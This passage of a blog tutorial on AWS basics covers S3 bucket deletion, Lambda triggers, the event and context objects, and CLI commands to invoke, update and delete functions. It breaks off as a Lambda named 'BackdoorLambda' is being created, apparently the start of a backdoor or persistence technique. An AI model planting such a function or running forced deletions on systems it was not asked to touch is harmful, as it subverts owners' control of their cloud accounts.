rm s3://your-bucket-name/3.jpg&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Delete an entire bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rb s3://your-bucket-name --force&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rb&lt;/code&gt; = remove bucket, and &lt;code&gt;--force&lt;/code&gt; deletes all contents before deleting the bucket.&lt;/p&gt;&#10;&lt;h2 id="lambda"&gt;&lt;a href="#lambda" class="header-anchor"&gt;&lt;/a&gt;Lambda&#10;&lt;/h2&gt;&lt;p&gt;Lambda is &lt;strong&gt;a managed environment that can run code automatically&lt;/strong&gt;. Think of it like this: you write some Python code → &lt;strong&gt;but do not need to run a server for it&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Event Source&lt;/strong&gt;: When does the Lambda code run?&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;S3 event&lt;/strong&gt;: Run Lambda automatically after a file is uploaded&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;API Gateway&lt;/strong&gt;: Triggered when a user accesses an API&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;CloudWatch event&lt;/strong&gt;: Triggered on a schedule&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;SNS / SQS message&lt;/strong&gt;: A message triggers Lambda&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Runtime&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Lambda &lt;strong&gt;supports several languages&lt;/strong&gt;, including Python, Node.js, Go, Java, C#, and Ruby.&lt;/li&gt;&#10;&lt;li&gt;You need to choose a &lt;strong&gt;runtime&lt;/strong&gt;, such as &lt;code&gt;Python 3.9&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Execution time limit&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Lambda has a &lt;strong&gt;maximum execution time of 15 minutes&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;The longer the code runs, the more it costs.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Search for Lambda to find it. When you first open it, there is a tutorial you can follow step by step, so take your time. One particularly interesting part is how it responds to events. As listed above, both S3 events and API events can trigger Lambda functions, which is pretty neat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The defaults are fine. Add a trigger first, mainly to get familiar with the process.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start testing by uploading a file to S3.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp .\3.jpg s3://*********/3.jpg&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can see that it was triggered.&lt;/p&gt;&#10;&lt;p&gt;Of course, you can view the details in &lt;strong&gt;CloudWatch&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As for the exact event, all we can see at this point is that Lambda was triggered. We cannot tell which event triggered it or what the result was.&lt;/p&gt;&#10;&lt;p&gt;Go back to Lambda, enter the following code, and click Deploy to save it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;=== Lambda Triggered ===&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(json.dumps(event, indent=4)) # Print the event that triggered Lambda&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;statusCode&amp;#39;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;body&amp;#39;: json.dumps(&amp;#39;Lambda ran successfully&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;=== Lambda Return Value ===&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(json.dumps(response, indent=4)) # Print the result returned by Lambda&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return response&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Trigger it again. Uploading a file or clicking the code test button will both work.&lt;/p&gt;&#10;&lt;p&gt;This is the log from testing the code directly. You can see that the returned JSON is identical to the JSON in the test and was recorded in the log.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is the log triggered by uploading a file to the S3 bucket. It includes detailed AWSCLI fields, the uploaded filename, the bucket name, the file size, and more.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;event&lt;/code&gt; (event data)&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;event&lt;/code&gt; is the data AWS &lt;strong&gt;passes in automatically&lt;/strong&gt; when it triggers Lambda. For example:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;When &lt;strong&gt;S3 triggers Lambda&lt;/strong&gt;, &lt;code&gt;event&lt;/code&gt; contains the &lt;strong&gt;uploaded filename and bucket name&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;When &lt;strong&gt;API Gateway triggers Lambda&lt;/strong&gt;, &lt;code&gt;event&lt;/code&gt; contains &lt;strong&gt;HTTP request information&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;When &lt;strong&gt;CloudWatch triggers Lambda&lt;/strong&gt;, &lt;code&gt;event&lt;/code&gt; contains &lt;strong&gt;scheduled-task information&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;That is why printing event gave us so much information about the S3 bucket, including the uploader&amp;rsquo;s IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;context&lt;/code&gt; (execution environment)&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;context&lt;/code&gt; is not event data. It contains &lt;strong&gt;environment information from AWS while Lambda is running&lt;/strong&gt;, such as:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;context.function_name&lt;/code&gt; → &lt;strong&gt;Lambda function name&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;context.memory_limit_in_mb&lt;/code&gt; → &lt;strong&gt;Allocated memory&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;context.aws_request_id&lt;/code&gt; → &lt;strong&gt;ID of the current request&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;context.get_remaining_time_in_millis()&lt;/code&gt; → &lt;strong&gt;Remaining Lambda execution time&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;context contains the information above. If you want to inspect it, you can also reference it in the function.&lt;/p&gt;&#10;&lt;h3 id="aws-cli-1"&gt;&lt;a href="#aws-cli-1" class="header-anchor"&gt;&lt;/a&gt;AWS CLI&#10;&lt;/h3&gt;&lt;p&gt;First, make sure you have &lt;strong&gt;configured AWS CLI&lt;/strong&gt; correctly with &lt;code&gt;aws configure&lt;/code&gt; and have sufficient permissions.&lt;/p&gt;&#10;&lt;h4 id="listing-all-lambda-functions"&gt;&lt;a href="#listing-all-lambda-functions" class="header-anchor"&gt;&lt;/a&gt;Listing All Lambda Functions&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda list-functions&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This command returns a list of your Lambda functions.&lt;/strong&gt; You should see &lt;code&gt;MyFirstFunction&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h4 id="getting-lambda-details"&gt;&lt;a href="#getting-lambda-details" class="header-anchor"&gt;&lt;/a&gt;Getting Lambda Details&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda get-function --function-name MyFirstFunction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This displays the Lambda code storage location, runtime (Python 3.9), execution role, and other information.&lt;/strong&gt;&#10;&lt;strong&gt;It also returns a link to the ZIP archive containing the code, which you can download.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="invoking-lambda-manually"&gt;&lt;a href="#invoking-lambda-manually" class="header-anchor"&gt;&lt;/a&gt;Invoking Lambda Manually&#10;&lt;/h4&gt;&lt;p&gt;You can trigger Lambda directly from the CLI, which is equivalent to the console&amp;rsquo;s “Test” feature.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda invoke \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name MyFirstFunction \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --payload &amp;#39;{&amp;#34;key1&amp;#34;: &amp;#34;value1&amp;#34;, &amp;#34;key2&amp;#34;: &amp;#34;value2&amp;#34;}&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cli-binary-format raw-in-base64-out \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda invoke --function-name MyFirstFunction --payload &amp;#34;{\&amp;#34;key1\&amp;#34;: \&amp;#34;value1\&amp;#34;, \&amp;#34;key2\&amp;#34;: \&amp;#34;value2\&amp;#34;}&amp;#34; response.json --cli-binary-format raw-in-base64-out&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;After Lambda finishes, the result is saved to &lt;code&gt;response.json&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;If you use a newer version of AWS CLI v2, add &amp;ndash;cli-binary-format raw-in-base64-out so AWS CLI sends the JSON request body directly without base64 encoding, allowing Lambda to parse it correctly.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;View the result:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat response.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You should see:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;statusCode&amp;#34;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;body&amp;#34;: &amp;#34;\&amp;#34;Lambda ran successfully\&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If your Lambda code prints &lt;code&gt;event&lt;/code&gt;, you will also see logs showing how it parsed the input data.&lt;/p&gt;&#10;&lt;h4 id="updating-lambda-code"&gt;&lt;a href="#updating-lambda-code" class="header-anchor"&gt;&lt;/a&gt;Updating Lambda Code&#10;&lt;/h4&gt;&lt;p&gt;Suppose you have a new &lt;code&gt;lambda_function.py&lt;/code&gt;. You can upload it like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip function.zip lambda_function.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda update-function-code \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name MyFirstFunction \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://function.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This command &lt;strong&gt;updates the Lambda code directly&lt;/strong&gt;, so you do not need to upload it manually through the AWS console.&lt;/p&gt;&#10;&lt;h4 id="updating-lambda-configuration"&gt;&lt;a href="#updating-lambda-configuration" class="header-anchor"&gt;&lt;/a&gt;Updating Lambda Configuration&#10;&lt;/h4&gt;&lt;p&gt;To &lt;strong&gt;change the Lambda runtime, memory, or timeout&lt;/strong&gt;, use:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda update-function-configuration \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name MyFirstFunction \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --memory-size 256 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --timeout 30&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This changes the Lambda &lt;strong&gt;memory to 256MB and the timeout to 30 seconds&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="deleting-a-lambda-function"&gt;&lt;a href="#deleting-a-lambda-function" class="header-anchor"&gt;&lt;/a&gt;Deleting a Lambda Function&#10;&lt;/h4&gt;&lt;p&gt;If you no longer need this Lambda function, delete it with:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda delete-function --function-name MyFirstFunction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Warning: This operation is irreversible!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="writing-and-uploading-lambda-code"&gt;&lt;a href="#writing-and-uploading-lambda-code" class="header-anchor"&gt;&lt;/a&gt;Writing and Uploading Lambda Code&#10;&lt;/h4&gt;&lt;p&gt;I will skip the basics here. More advanced work involves boto3, which I still need to learn.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler&lt;span class="o"&gt;(&lt;/span&gt;event, context&lt;span class="o"&gt;)&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# TODO implement&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;statusCode&amp;#39;&lt;/span&gt;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;: json.dumps&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello from Lambda!&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name BackdoorLambda &lt;span 